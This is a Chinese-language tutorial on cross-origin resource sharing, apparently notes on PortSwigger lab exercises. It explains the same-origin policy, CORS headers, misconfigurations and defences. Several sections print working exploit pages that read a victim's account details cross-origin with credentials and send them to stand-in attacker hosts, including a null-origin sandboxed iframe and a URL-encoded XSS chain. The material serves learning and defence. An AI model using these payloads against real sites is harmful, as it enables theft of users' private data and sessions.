Chapter15 cross-origin resource sharing
文章目录
- 1.CORS
- 1.1 Same-origin policy
- 1.2 同源策略如何实现
- 1.3 放宽同源策略
- 2.CORS和Access-Control-Allow-Origin响应头
- 2.1 ACAO头
- 2.2 实现简单的跨域资源共享
- 2.3 处理带凭据的跨域资源请求
- 2.4 放款CORS规范的限制
- 2.5 Pre-flight checks
- 2.6 CORS能防御CSRF吗
- 3.由于CORS配置不当引发的漏洞
- 3.1 服务区从客户端指定的Origin生成ACAO
- 3.1.1 案例
- 3.2 解析Origin错误
- 3.3 Origin:null放入白名单
- 3.3.1 案例
- 3.4 通过CORS信任关系利用XSS
- 3.5 使用配置不当的CORS破坏TLS
- 3.5.1 案例
- 3.6 不需要凭据的CORS攻击(内网低防护)
- 4.如何防御CORS攻击
- 总结
1.CORS
跨域资源共享(CORS)是一种浏览器机制,它支持对位于给定域之外的资源进行可控访问。它扩展并增加了同源策略(SOP)的灵活性。但是,如果网站的CORS策略配置和实现不当,它也提供了跨域攻击的可能性。CORS不能防止跨站点请求伪造(CSRF)等跨站点攻击。
1.1 Same-origin policy
同源策略是一种网络浏览器的安全机制,目的是防止网站之间的相互攻击。
同源指的是同协议、同域名、同端口。同源策略限制一个源上的脚本访问另一个源的数据。需要注意两点:
- http和https就属于不同协议。
- 子域名和父域就属于不同的域(如baidu.com和www.baidu.com)
当浏览器一个源向另一个源发送HTTP请求时,与另一个源相关的任何cookie(包括身份认证cookie)都会作为请求的一部分发送。这意味着响应将在用户会话生成,并包含特定于用户的任何相关数据。
1.2 同源策略如何实现
同源策略通常限制JavaScript代码对跨域加载内容的访问。
SOP允许<img>标签嵌入图像,允许<video>标签嵌入媒体,允许<script>嵌入JavaScript。
这些外部资源可以由页面加载,但页面上的任何JavaScript都无法读取这些资源的内容。
SOP有各种例外情况:
- 有些对象跨域可写但不可读,例如来自iframes或new windows的 location 对象或 location.href属性。
- 有些对象跨域可读但不可写,例如 window 对象的 length 属性(存储页面上使用的帧数)和 closed 属性。
- replace 函数一般可以在 location 对象上称为跨域函数。
- 可以跨域调用某些函数。例如,您可以在新窗口中调用函数 close , blur 和 focus 。postMessage 函数也可以在iframe和新窗口上调用,以便从一个域发送消息到另一个域。
SOP在处理cookie时更加宽松,因此通常可以从站点的所有子域访问它们。通过Httponly属性能够降低此风险。
当某个域是 FQDN(完全限定域名)的一部分时,可以利用 document.domain 放宽同源策略。例如:
假设有一个域名 marketing.example.com,想要在example.com读取该域名的内容,两个域都需要将 document.domain 设定为 example.ecom。此时SOP允许两个域之间的互相访问,尽管他们非同源。
1.3 放宽同源策略
SOP是非常严格的,而实际使用中,许多网站需要和子域或第三方网站交互(跨域访问),此时可以使用CORS放松同源策略。
CORS使用一组HTTP头,这些头定义了受信任的web源和相关属性,例如是否经过身份验证的访问。
2.CORS和Access-Control-Allow-Origin响应头
跨域资源共享规范通过使用HTTP头集合,为从一个网站域到另一个网站域的HTTP请求提供了同源策略的可控放松。浏览器允许基于这些标头指令访问跨域请求的响应。
2.1 ACAO头
Access-Control-Allow-Origin 标头包含在一个网站对来自另一个网站的请求的响应中,并标识请求的允许来源。web浏览器将access - control - allow - origin与请求网站的origin进行比较,如果匹配,则允许访问响应。
2.2 实现简单的跨域资源共享
当网站请求资源时,添加 Origin头,服务器返回Access-Control-Allow-Origin头。如果两者匹配,浏览器允许响应。
ACAO允许多个源,或者null,或者 * ,但是没有浏览器支持多个源,并且对*有限制。
2.3 处理带凭据的跨域资源请求
默认的跨域请求(如 fetch、XMLHttpRequest)不会携带cookie和Authorization等凭据。
但是,通过将CORS Access-Control-Allow-Credentials 头设置为true,跨域服务器在请求携带凭据时允许响应。现在,如果请求网站使用JavaScript声明它正在发送cookie请求:
GET / HTTP/1.1
Origin:
Cookie:JSESSIONID=<value>HTTP/1.1 200 OK
Access-Control-Allow-Origin:
Access-Control-Allow-Credentitals: true
这里说的凭据是携带目标域的凭据。
2.4 放款CORS规范的限制
Access-Control-Allow-Origin支持通配符,如:
Access-Control-Allow-Origin: *
通配符不能在域名中使用,只能单独使用,如
Access-Control-Allow-Origin: https://*.com无效
通配符的使用在规范中受到限制,不能将通配符与凭证(身份验证、cookie或客户端证书)的跨域传输结合起来。因此,跨域服务器不允许如下响应:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
考虑到这些限制,一些web服务器根据客户端指定的源动态创建 Access-Control-Allow-Origin 标头。
2.5 Pre-flight checks
CORS 预检请求,用于防止未做CORS适配的老旧服务器因收到非常规请求崩溃。当跨域请求包含非标准HTTP请求或headers时,跨域请求之前会用 OPTIONS 方法进行请求,并且CORS协议需要在允许跨域请求之前对允许的方法和标头进行初始检查。这被称为预检。除了可信来源外,服务器还返回允许的方法列表。例如:
一个CORS预检,试图使用PUT方法和Spcial-Request-Header自定义请求头:
OPTIONS /data HTTP/1.1
Host: <some website>
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
服务器返回响应:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
这个响应说明允许PUT POST OPTIONS方法,允许该请求头,允许发送凭据,并且定义了缓存预检响应的最大时间。
预检增加了额外的浏览开销。
2.6 CORS能防御CSRF吗
CORS不提供针对CSRF的保护。
CORS是对SOP(跨域资源共享是对同源策略)的可控放松,因此配置不当的CORS反而会增加CSRF的可能性或加剧影响。
攻击者无需依赖CORS就能通过HTML表单、跨域资源包含等方式发动CSRF攻击。
3.由于CORS配置不当引发的漏洞
许多现代网站使用CORS来允许从子域和受信任的第三方访问。他们对CORS的实现可能包含错误或过于宽松,这可能导致可利用的漏洞。
3.1 服务区从客户端指定的Origin生成ACAO
一些应用程序需要提供对许多其他域的访问。维护允许域的列表需要持续的努力。因此,一些应用程序采取简单的方法,有效地允许来自任何其他域的访问。
- 一种方法是响应任意Origin的请求,这意味着任何域名均能访问存在漏洞的域资源。如果响应包含API密钥或CSRF token,攻击者可以通过如下脚本窃取数据:
var req = new XMLHttpRequest();
req.onload = reqLinstener;
req.open('get','https://vulnerable-site.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();function reqListener(){location='//malicious-website.com/log?key='+this.responseText;
}
上面是一个CORS利用的PoC。创建XMLHttpRequest对象,用于发起HTTP请求(现代浏览器普遍支持fetch API, XHT用于旧系统);设置回调函数(当请求成功时,调用reqListener函数处理数据);发起异步请求(非阻塞);强制浏览器携带目标域的凭据;
最终调用回调函数,将API返回的敏感数据拼接为恶意网站查询参数。
3.1.1 案例
- 首先分析端点,服务器在什么时候返回了API信息
cookie携带sessions,如果删除,会话状态结束,需要重新登陆。 - 尝试添加/修改Origin,发现直接被允许,存在CORS配置错误。
- URL应该是返回信息的URL(host + path),此时返回数据,我们需要将数据拼接到恶意URL上,不能用json,所以选择responseText作为查询参数,并修改location.href参数。 /exploit?key=" + responseText;
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h1>Hello Bro</h1><script>const request = new XMLHttpRequest()request.open("get","https://0a6c009c04e0734f80b32653004d0088.web-security-academy.net/accountDetails",true)request.onload = ()=>{window.location.href ="/popo?key=" + request.responseText}request.withCredentials=truerequest.send()</script>
</body>
</html>
窃取cookie的前提:
- 用户已经登录目标网站,并且会话cookie有效。
- 用户访问恶意网站的页面,所以发起location.href时用户已经是在访问恶意网站了,只需要重定向并将数据外传。
如果窃取了cookie,刷新页面,就有可能进入登录状态。
fetch比XHR更新,因此攻击面可能更大。
3.2 解析Origin错误
一些支持多源访问的应用程序通过使用允许的源白名单来实现。
当接收到CORS请求时,将提供的源与白名单进行比较。如果源出现在白名单上,那么它将反映在 Access-Control-Allow-Origin 报头中,以便授予访问权限。
在实施CORS名单时经常会出现错误。有些组织决定允许从所有子域(包括尚未存在的未来子域)访问。一些应用程序允许从各种其他组织的域(包括它们的子域)访问。这些规则通常通过匹配URL前缀或后缀或使用正则表达式来实现。任何错误都可能导致将访问权限授予非预期的外部域。例如:
Web应用允许以下结尾的域的访问:
website.com
那么,可以注册域获得访问权限:
hackerwebsite.com
3.3 Origin:null放入白名单
Origin报头的规范支持值 null 。在一些不寻常的情况下,浏览器可能会在Origin头中发送值 null :
- 跨域重定向
- 序列化数据的请求
- 请求使用 file: 协议
- 沙箱跨域请求
一些应用程序可能会将 null 源列入白名单,以支持应用程序的本地开发。例如,假设应用程序接收到以下跨域请求:
Origin:null
服务器响应:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在这种情况下,攻击者可以使用各种技巧来生成一个跨域请求,该请求在Origin报头中包含值 null 。这将满足白名单,导致跨域访问。
例如,这可以使用沙箱 iframe 的表单跨域请求来完成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = req.Listener;
req.open('get', 'vulnerable-website.com/dataAPI', true);
req.withCredentials = true;
req.send();function reqListener(){location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
3.3.1 案例
目标:构建一个URL,当管理员点击时,会将他的cookie发送到恶意网站
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><!--假装这是一个有模有样的网站--><h1>hello brother</h1><!--sandbox会有一些权限,在网页表单发送恶意代码--><!--允许表单,允许脚本,允许顶部导航(重定向)--><!--srcdoc中的内容,需要先HTML编码--><iframe sandbox="allow-forms allow-scripts allow-top-navigation"srcdoc="<script>
        const req = new XMLHttpRequest();
        
        req.open('get',"https://0a1700bd03d1c6f2805a6c3900f300bf.web-security-academy.net/accountDetails",true)
        req.onload = () => {
            window.location.href = "/popo?key=" + req.responseText;
        }
        req.withCredentials = true;
        req.send();

    </script>"></iframe>
</body>
</html>
3.4 通过CORS信任关系利用XSS
即便是"正确"配置的CORS也会在两个源建立信任关系。如果一个网站信任一个存在XSS漏洞的网站,那么攻击者可以利用XSS与CORS从另一个网站获取敏感信息。
例如:
https://XSS-site.com/?xss=<script>cors_stuff_here</script>
3.5 使用配置不当的CORS破坏TLS
假设一个HTTPS网站,将HTTP站点放入信任白名单,那么能够拦截受害者流量的攻击者可以利用CORS配置破坏受害者与Web站点的交互。步骤如下:
- 受害者发出任意HTTP请求
- 攻击者注入重定向到
http://trusted-subdomain.vulnerable-website.com
- 受害者的浏览器遵循重定向
- 攻击者拦截普通HTTP请求,并返回一个包含CORS请求的欺骗响应
https://vulnerable-website.com
- 受害者浏览器发起CORS请求,包括源:
http://trusted-subdomain.vulnerable-website.com
- 应用程序允许白名单请求,在响应中返回敏感数据
- 攻击者的欺骗页面可以读取敏感数据并将其传输到攻击者控制的任何域名
即使漏洞站点对所有cookie采用secure属性,这种攻击也会生效。
3.5.1 案例
- 发现了productId存在的XSS、CORS存在的子域不同协议问题
- 组合利用两个漏洞,
1.利用CORS
<script>const request = new XMLHttpRequest();request.open("get", "https://0af4008b045232f78147161900e300e8.web-security-academy.net/accountDetails", true);request.onload = ()=>{window.location = "https://exploit-0a0900b70407329e813915d601ad0047.exploit-server.net/exploit?key=" + request.responseText;}request.withCredentials = true;request.send();
</script>2.利用XSS,将上面的内容URL编码后,作为XSS的传参
<script>window.location = "http://stock.0af4008b045232f78147161900e300e8.web-security-academy.net/?productId=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%20%20%20%20%63%6f%6e%73%74%20%72%65%71%75%65%73%74%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%6f%70%65%6e%28%22%67%65%74%22%2c%20%22%68%74%74%70%73%3a%2f%2f%30%61%66%34%30%30%38%62%30%34%35%32%33%32%66%37%38%31%34%37%31%36%31%39%30%30%65%33%30%30%65%38%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%22%2c%20%74%72%75%65%29%3b%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%6f%6e%6c%6f%61%64%20%3d%20%28%29%3d%3e%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%30%39%30%30%62%37%30%34%30%37%33%32%39%65%38%31%33%39%31%35%64%36%30%31%61%64%30%30%34%37%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6b%65%79%3d%22%20%2b%20%72%65%71%75%65%73%74%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%73%65%6e%64%28%29%3b%0a%0a%0a%20%20%20%20%3c%2f%73%63%72%69%70%74%3e&storeId=1"
</script>
注意这里是http://利用了中间人攻击。
最终,整个XSS网页为:用户点进来就被骗:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h1>hello bro</h1><script>window.location = "http://stock.0af4008b045232f78147161900e300e8.web-security-academy.net/?productId=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%20%20%20%20%63%6f%6e%73%74%20%72%65%71%75%65%73%74%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%6f%70%65%6e%28%22%67%65%74%22%2c%20%22%68%74%74%70%73%3a%2f%2f%30%61%66%34%30%30%38%62%30%34%35%32%33%32%66%37%38%31%34%37%31%36%31%39%30%30%65%33%30%30%65%38%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%22%2c%20%74%72%75%65%29%3b%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%6f%6e%6c%6f%61%64%20%3d%20%28%29%3d%3e%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%30%39%30%30%62%37%30%34%30%37%33%32%39%65%38%31%33%39%31%35%64%36%30%31%61%64%30%30%34%37%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6b%65%79%3d%22%20%2b%20%72%65%71%75%65%73%74%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%20%20%20%20%20%20%20%20%72%65%71%75%65%73%74%2e%73%65%6e%64%28%29%3b%0a%0a%0a%20%20%20%20%3c%2f%73%63%72%69%70%74%3e&storeId=1"</script> </body>
</html>
分析攻击原理:
- 诱导用户点击链接
- 这并不是单纯的垃圾链接,而有着hello bro的真实网站
- 自动触发Open Redirect开放重定向。
- 目标网站信任的站点存在XSS漏洞,在这个XSS注入CORS凭据窃取。
- 将数据返回用户控制的恶意网站(通过查询参数拼接)
3.6 不需要凭据的CORS攻击(内网低防护)
大多数CORS攻击依赖准许凭据响应头的存在,Access-Control-Allow-Credentials: true
。
如果没有这个头,受害者浏览器将拒绝发送他们的cookie,这意味着攻击者只能访问未经身份验证的内容。
一种特殊情况是,攻击者无法直接浏览网站:当它是内网的一部分。内网通常采用更低的防护,使得攻击者能够找到漏洞并进行进一步的权限提升。例如,内网跨域请求的ACAO可能配置为通配符*
。
应用服务器信任来自任何来源的没有凭据的资源请求。如果私有IP地址空间内的用户访问公共internet,则可以从使用受害者浏览器作为代理访问内网资源的外部站点执行基于cors的攻击。
4.如何防御CORS攻击
CORS漏洞主要由于配置错误产生,正确配置就可以有效防御:
- 正确配置跨域请求
- 只允许受信任的站点
- 避免白名单设置null
- 避免在内网使用通配符
- CORS定义了浏览器行为,本质是用户行为,不能替代服务端安全策略。
总结
-
常见的CORS配置错误
- 对所有Origin给出响应
- 以后缀或前缀匹配响应站点
- 将null添加到白名单
- 即使只信任https的站点,我们也可以尝试将其信任站点修改为http发送,如果该站点存在xss那么有可能存在中间人攻击。
-
CORS能够防御CSRF吗?
不能,错误的CORS配置还会增加CSRF的风险。